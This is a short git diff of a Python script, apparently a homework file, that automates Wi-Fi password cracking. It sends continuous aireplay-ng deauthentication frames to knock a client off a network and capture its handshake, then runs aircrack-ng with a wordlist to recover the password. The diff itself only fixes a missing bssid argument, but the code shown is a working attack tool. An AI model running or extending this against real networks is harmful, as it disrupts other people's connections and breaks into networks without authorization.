diff --git a/hw7/gpt4/app.py b/hw7/gpt4/app.py
index ca34e53..49fb37b 100644
--- a/hw7/gpt4/app.py
+++ b/hw7/gpt4/app.py
@@ -29,7 +29,7 @@ def deauthenticate(interface, bssid, client):
     """Deauthenticate a client to capture the handshake."""
     run_command(['aireplay-ng', '--deauth', '0', '-a', bssid, '-c', client, interface])
 
-def crack_password(cap_file, wordlist):
+def crack_password(cap_file, wordlist, bssid):
     """Crack the password using aircrack-ng."""
     result = run_command(['aircrack-ng', '-w', wordlist, '-b', bssid, cap_file])
     return result
@@ -56,7 +56,7 @@ def main():
     deauth_thread.join()
 
     # Crack password
-    password = crack_password('capture-01.cap', wordlist)
+    password = crack_password('capture-01.cap', wordlist, bssid)
     print(f"The password is: {password}")
 
     # Change back to managed mode